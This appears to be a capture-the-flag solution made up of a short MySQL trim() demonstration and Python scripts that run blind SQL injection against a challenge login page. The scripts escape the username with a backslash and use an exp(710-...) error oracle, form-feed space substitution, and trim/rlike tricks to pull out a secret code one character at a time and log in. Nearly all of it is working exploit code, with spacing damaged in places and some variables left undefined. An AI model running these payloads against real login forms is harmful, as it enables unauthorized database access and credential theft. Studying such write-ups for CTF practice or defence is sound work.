mysql>selecttrim(LEADING "b" fromtrim(LEADING "a" from "abcd")); +------------------------------------------------------+ |trim(LEADING "b" fromtrim(LEADING "a" from "abcd")) | +------------------------------------------------------+ | cd | +------------------------------------------------------+ 1rowinset (0.00 sec)
print("-----------start to get length---------------") for i inrange(1,254): num=i pay="||exp(710-(length(trim(leading 0x00 from code))like {}))#" pay=pay.format(str(num)).replace(' ',chr(0x0c)) print(pay) data = {"username": "admin\\", "password": pay, "code": '1'} res = requests.post(url, data, allow_redirects=False) sleep(0.1) if('login'in res.text): totallength = num break print("-----------code length {}---------------".format(totallength))
pay1="||exp(710-(length({})like {}))#" pay3="trim(leading {} from {})" addpay=""
for i inrange(totallength-1,-1,-1): for j in charset: tchar=hex(ord(j)) if (i == totallength - 1): temppay = pay3.format(tchar, "code") else: temppay = pay3.format(tchar, addpay) finalpay=pay1.format(temppay,str(i)).replace(' ',chr(0x0c)) data = {"username": "admin\\", "password": finalpay, "code": '1'} req= requests.post(url, data, allow_redirects=False) sleep(0.2) #print(req.text) if ('login'in req.text): result = result + j break addpay=temppay print(result)
print("-----------get flag---------------") data = {"username":"admin\\","password":"||True#","code":result} res = requests.post(url, data) print(res.text)
defstr2hex(string):# 转换16进制,16进制在数据库执行查询时又默认转换成字符串 result = '' for i in string: result += hex(ord(i)) result = result.replace('0x', '') return'0x' + result
strs = string.ascii_letters + string.digits + '_' url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0' } payload = '||exp(710-(code rlike binary {0}))#' if __name__ == "__main__": name = '' z = 3 for i inrange(1, 40): for j in strs: passwd = str2hex(name + j) payloads = payload.format(passwd).replace(' ',chr(0x0c)) postdata = { 'username': 'admin\\', 'password': payloads, 'code': '1' } r = requests.post(url, data=postdata, headers=headers, allow_redirects=False) #print(r.text) if"fail"in r.text: name += j print(j, end='') break
iflen(name) >= 3: for i inrange(1, 40): for j in strs: passwd = str2hex(name[z - 3:z] + j) # ergh payloads = payload.format(passwd).replace(' ', chr(0x0c)) postdata = { 'username': 'admin\\', 'password': payloads, 'code': '1' } r = requests.post(url, data=postdata, headers=headers, allow_redirects=False) # print(r.text) if"fail"in r.text: name += j print(j, end='') z += 1 break